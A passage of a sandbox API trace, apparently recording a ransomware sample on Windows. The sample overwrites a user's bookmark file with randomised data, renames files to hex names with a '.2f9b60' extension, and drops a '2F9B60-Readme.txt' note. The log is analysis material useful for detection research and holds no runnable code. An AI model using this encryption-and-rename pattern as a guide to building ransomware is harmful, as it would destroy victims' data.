(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bca0) returned 1 [0161.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d7f80 [0161.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bca0 [0161.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe980 [0161.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5d20 [0161.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5d20) returned 1 [0161.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d8040 [0161.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5d20 [0161.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5d50 [0161.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5d50) returned 1 [0161.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe980) returned 1 [0161.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bca0) returned 1 [0161.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11c) returned 0x1b86fcd0 [0161.842] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.842] WriteFile (in: hFile=0x498, lpBuffer=0x1b86fcd0*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3dfbfdb0, lpOverlapped=0x0 | out: lpBuffer=0x1b86fcd0*, lpNumberOfBytesWritten=0x3dfbfdb0*=0x11c, lpOverlapped=0x0) returned 1 [0163.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3730 [0163.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3730) returned 1 [0163.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d7f40 [0163.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3730 [0163.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3700 [0163.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3700) returned 1 [0163.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd87030 [0163.748] sprintf (in: _Dest=0x1cd87030, _Format="%c%c" | out: _Dest="4f") returned 2 [0163.748] sprintf (in: _Dest=0x1cd87032, _Format="%c%c" | out: _Dest="db") returned 2 [0163.748] sprintf (in: _Dest=0x1cd87034, _Format="%c%c" | out: _Dest="6b") returned 2 [0163.748] sprintf (in: _Dest=0x1cd87036, _Format="%c%c" | out: _Dest="46") returned 2 [0163.748] sprintf (in: _Dest=0x1cd87038, _Format="%c%c" | out: _Dest="01") returned 2 [0163.748] sprintf (in: _Dest=0x1cd8703a, _Format="%c%c" | out: _Dest="ab") returned 2 [0163.748] sprintf (in: _Dest=0x1cd8703c, _Format="%c%c" | out: _Dest="e8") returned 2 [0163.748] sprintf (in: _Dest=0x1cd8703e, _Format="%c%c" | out: _Dest="d3") returned 2 [0163.748] sprintf (in: _Dest=0x1cd87040, _Format="%c%c" | out: _Dest="eb") returned 2 [0163.748] sprintf (in: _Dest=0x1cd87042, _Format="%c%c" | out: _Dest="ae") returned 2 [0163.748] sprintf (in: _Dest=0x1cd87044, _Format="%c%c" | out: _Dest="79") returned 2 [0163.748] sprintf (in: _Dest=0x1cd87046, _Format="%c%c" | out: _Dest="9c") returned 2 [0163.748] sprintf (in: _Dest=0x1cd87048, _Format="%c%c" | out: _Dest="39") returned 2 [0163.748] sprintf (in: _Dest=0x1cd8704a, _Format="%c%c" | out: _Dest="b8") returned 2 [0163.748] sprintf (in: _Dest=0x1cd8704c, _Format="%c%c" | out: _Dest="d0") returned 2 [0163.748] sprintf (in: _Dest=0x1cd8704e, _Format="%c%c" | out: _Dest="8e") returned 2 [0163.749] sprintf (in: _Dest=0x1cd87050, _Format="%c%c" | out: _Dest="ae") returned 2 [0163.749] sprintf (in: _Dest=0x1cd87052, _Format="%c%c" | out: _Dest="c5") returned 2 [0163.749] sprintf (in: _Dest=0x1cd87054, _Format="%c%c" | out: _Dest="47") returned 2 [0163.749] sprintf (in: _Dest=0x1cd87056, _Format="%c%c" | out: _Dest="3d") returned 2 [0163.749] sprintf (in: _Dest=0x1cd87058, _Format="%c%c" | out: _Dest="02") returned 2 [0163.749] sprintf (in: _Dest=0x1cd8705a, _Format="%c%c" | out: _Dest="7c") returned 2 [0163.749] sprintf (in: _Dest=0x1cd8705c, _Format="%c%c" | out: _Dest="2f") returned 2 [0163.749] sprintf (in: _Dest=0x1cd8705e, _Format="%c%c" | out: _Dest="d5") returned 2 [0163.749] sprintf (in: _Dest=0x1cd87060, _Format="%c%c" | out: _Dest="42") returned 2 [0163.749] sprintf (in: _Dest=0x1cd87062, _Format="%c%c" | out: _Dest="eb") returned 2 [0163.749] sprintf (in: _Dest=0x1cd87064, _Format="%c%c" | out: _Dest="f1") returned 2 [0163.749] sprintf (in: _Dest=0x1cd87066, _Format="%c%c" | out: _Dest="05") returned 2 [0163.749] sprintf (in: _Dest=0x1cd87068, _Format="%c%c" | out: _Dest="0b") returned 2 [0163.749] sprintf (in: _Dest=0x1cd8706a, _Format="%c%c" | out: _Dest="12") returned 2 [0163.749] sprintf (in: _Dest=0x1cd8706c, _Format="%c%c" | out: _Dest="18") returned 2 [0163.749] sprintf (in: _Dest=0x1cd8706e, _Format="%c%c" | out: _Dest="10") returned 2 [0163.749] sprintf (in: _Dest=0x1cd87070, _Format="%c%c" | out: _Dest="ce") returned 2 [0163.749] sprintf (in: _Dest=0x1cd87072, _Format="%c%c" | out: _Dest="58") returned 2 [0163.749] sprintf (in: _Dest=0x1cd87074, _Format="%c%c" | out: _Dest="da") returned 2 [0163.749] sprintf (in: _Dest=0x1cd87076, _Format="%c%c" | out: _Dest="a7") returned 2 [0163.749] sprintf (in: _Dest=0x1cd87078, _Format="%c%c" | out: _Dest="b1") returned 2 [0163.749] sprintf (in: _Dest=0x1cd8707a, _Format="%c%c" | out: _Dest="50") returned 2 [0163.749] sprintf (in: _Dest=0x1cd8707c, _Format="%c%c" | out: _Dest="4c") returned 2 [0163.749] sprintf (in: _Dest=0x1cd8707e, _Format="%c%c" | out: _Dest="f6") returned 2 [0163.749] sprintf (in: _Dest=0x1cd87080, _Format="%c%c" | out: _Dest="32") returned 2 [0163.749] sprintf (in: _Dest=0x1cd87082, _Format="%c%c" | out: _Dest="04") returned 2 [0163.749] RtlInitAnsiString (in: DestinationString=0x3dfbfe28, SourceString="4fdb6b4601abe8d3ebae799c39b8d08eaec5473d027c2fd542ebf1050b121810ce58daa7b1504cf63204" | out: DestinationString="4fdb6b4601abe8d3ebae799c39b8d08eaec5473d027c2fd542ebf1050b121810ce58daa7b1504cf63204") [0163.749] RtlAnsiStringToUnicodeString (in: DestinationString=0x3dfbfdf8, SourceString="4fdb6b4601abe8d3ebae799c39b8d08eaec5473d027c2fd542ebf1050b121810ce58daa7b1504cf63204", AllocateDestinationString=1 | out: DestinationString="4fdb6b4601abe8d3ebae799c39b8d08eaec5473d027c2fd542ebf1050b121810ce58daa7b1504cf63204") returned 0x0 [0163.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279bb0 [0163.750] RtlFreeAnsiString (AnsiString="4") [0163.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd87030) returned 1 [0163.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3730) returned 1 [0163.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86fcd0) returned 1 [0163.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8040) returned 1 [0163.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5d20) returned 1 [0163.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5cf0) returned 1 [0163.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1610) returned 1 [0163.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac16d0) returned 1 [0163.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1700) returned 1 [0163.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x20278530 [0163.753] wcscat (in: _Dest=0x20278530, _Source="4fdb6b4601abe8d3ebae7" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\4fdb6b4601abe8d3ebae7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\4fdb6b4601abe8d3ebae7" [0163.753] wcscat (in: _Dest=0x20278530, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\4fdb6b4601abe8d3ebae7.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\4fdb6b4601abe8d3ebae7.2f9b60" [0163.753] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\4fdb6b4601abe8d3ebae7.2f9b60", NtPathName=0x3dfbfdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\4fdb6b4601abe8d3ebae7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1cecfa20 [0164.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfa20) returned 1 [0164.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230b1d0) returned 1 [0164.290] NtQueryInformationFile (in: FileHandle=0x498, IoStatusBlock=0x3dfbfe38, FileInformation=0x3dfbfe48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3dfbfe38, FileInformation=0x3dfbfe48) returned 0x0 [0164.290] NtSetInformationFile (FileHandle=0x498, IoStatusBlock=0x3dfbfe38, FileInformation=0x3dfbfe48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278530) returned 1 [0164.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279bb0) returned 1 [0164.342] FlushFileBuffers (hFile=0x498) returned 1 [0166.258] CloseHandle (hObject=0x498) returned 1 [0183.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ac6e0 [0183.968] wcscpy (in: _Dest=0x202ac6e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0183.968] wcscat (in: _Dest=0x202ac6e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" [0183.968] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\2f9b60-readme.txt")) returned 0xffffffff [0183.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc0 [0192.680] WriteFile (in: hFile=0x1bc0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3dfbfcf0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3dfbfcf0*=0xba9, lpOverlapped=0x0) returned 1 [0204.087] CloseHandle (hObject=0x1bc0) returned 1 [0209.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac6e0) returned 1 [0209.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64c60) returned 1 Thread: id = 2722 os_tid = 0x22f4 [0157.873] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url")) returned 0x20 [0157.873] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url", dwFileAttributes=0x20) [0183.779] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xad8 [0183.779] GetFileSizeEx (in: hFile=0xad8, lpFileSize=0x1fc5f940 | out: lpFileSize=0x1fc5f940*=134) returned 1 [0183.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33200 [0183.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33260 [0183.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d332f0 [0183.780] NtQuerySystemTime (in: CurrentTime=0x1fc5f800 | out: CurrentTime=0x1fc5f800*=132462177888766000) returned 0x0 [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x40f4cdd0 [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x52256230 [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x5c76c5f [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x36b37b03 [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x275f585a [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0xfa7609f [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x256fc656 [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x355d798a [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x4026968c [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x88464c6 [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x492476d4 [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x2b962010 [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x5f7bc174 [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x15562782 [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x27615986 [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x81f46df [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x6db6dcf0 [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x7f270f0c [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x12368abc [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x1bfeab11 [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x322514c3 [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x5aa7a83a [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x321a795f [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x1d138e0a [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x3792b114 [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x4f7d809e [0183.780] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x69f7f47 [0183.781] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x148f641b [0183.781] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x786069bb [0183.781] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x280eb58 [0183.781] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0xdeaf5db [0183.781] RtlRandomEx (in: Seed=0x1fc5f7f0 | out: Seed=0x1fc5f7f0) returned 0x57ab65c [0183.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33320 [0183.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5adb0 [0183.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33350 [0183.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5adb0) returned 1 [0183.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d332f0) returned 1 [0183.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33200) returned 1 [0183.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c7e0 [0183.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5adb0 [0183.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33200 [0183.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33200) returned 1 [0183.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429409e0 [0183.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429445f0 [0183.793] ReadFile (in: hFile=0xad8, lpBuffer=0x429409e0, nNumberOfBytesToRead=0x86, lpNumberOfBytesRead=0x1fc5f7f0, lpOverlapped=0x0 | out: lpBuffer=0x429409e0*, lpNumberOfBytesRead=0x1fc5f7f0*=0x86, lpOverlapped=0x0) returned 1 [0183.794] SetFilePointerEx (in: hFile=0xad8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.794] WriteFile (in: hFile=0xad8, lpBuffer=0x429445f0*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x1fc5f7f4, lpOverlapped=0x0 | out: lpBuffer=0x429445f0*, lpNumberOfBytesWritten=0x1fc5f7f4*=0x86, lpOverlapped=0x0) returned 1 [0188.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134b40 [0188.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134b70 [0188.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134b70) returned 1 [0188.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429445f0) returned 1 [0188.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429409e0) returned 1 [0188.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5adb0) returned 1 [0188.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c7e0) returned 1 [0188.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9fd30 [0188.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c7e0 [0188.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5adb0 [0188.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134b70 [0188.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134b70) returned 1 [0188.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9f5f0 [0188.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134b70 [0188.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134ba0 [0188.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134ba0) returned 1 [0188.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5adb0) returned 1 [0188.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c7e0) returned 1 [0188.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x42c14090 [0188.350] SetFilePointerEx (in: hFile=0xad8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0188.350] WriteFile (in: hFile=0xad8, lpBuffer=0x42c14090*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x1fc5f910, lpOverlapped=0x0 | out: lpBuffer=0x42c14090*, lpNumberOfBytesWritten=0x1fc5f910*=0x118, lpOverlapped=0x0) returned 1 [0200.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0200.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867040 [0200.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32cc0 [0200.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32cc0) returned 1 [0200.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42d32cc0 [0200.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32c90 [0200.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32c30 [0200.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32c30) returned 1 [0200.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0200.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0200.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b859390 [0200.848] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="72") returned 2 [0200.848] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="b7") returned 2 [0200.848] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="13") returned 2 [0200.848] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="e3") returned 2 [0200.848] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="91") returned 2 [0200.848] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="54") returned 2 [0200.848] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="79") returned 2 [0200.848] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="2d") returned 2 [0200.848] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="b4") returned 2 [0200.848] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="fc") returned 2 [0200.848] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="9a") returned 2 [0200.848] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="2c") returned 2 [0200.848] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="b7") returned 2 [0200.848] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="b7") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="48") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="09") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="a1") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="2c") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="4c") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="f5") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="27") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="1c") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="ea") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="5a") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="7d") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="58") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="49") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="29") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="95") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="b2") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="34") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="25") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="44") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="e4") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="5a") returned 2 [0200.849] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="45") returned 2 [0200.850] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="46") returned 2 [0200.850] RtlInitAnsiString (in: DestinationString=0x1fc5f988, SourceString="72b713e39154792db4fc9a2cb7b74809a12c4cf5271cea5a7d58492995b234cf2544e45a4546" | out: DestinationString="72b713e39154792db4fc9a2cb7b74809a12c4cf5271cea5a7d58492995b234cf2544e45a4546") [0200.850] RtlAnsiStringToUnicodeString (in: 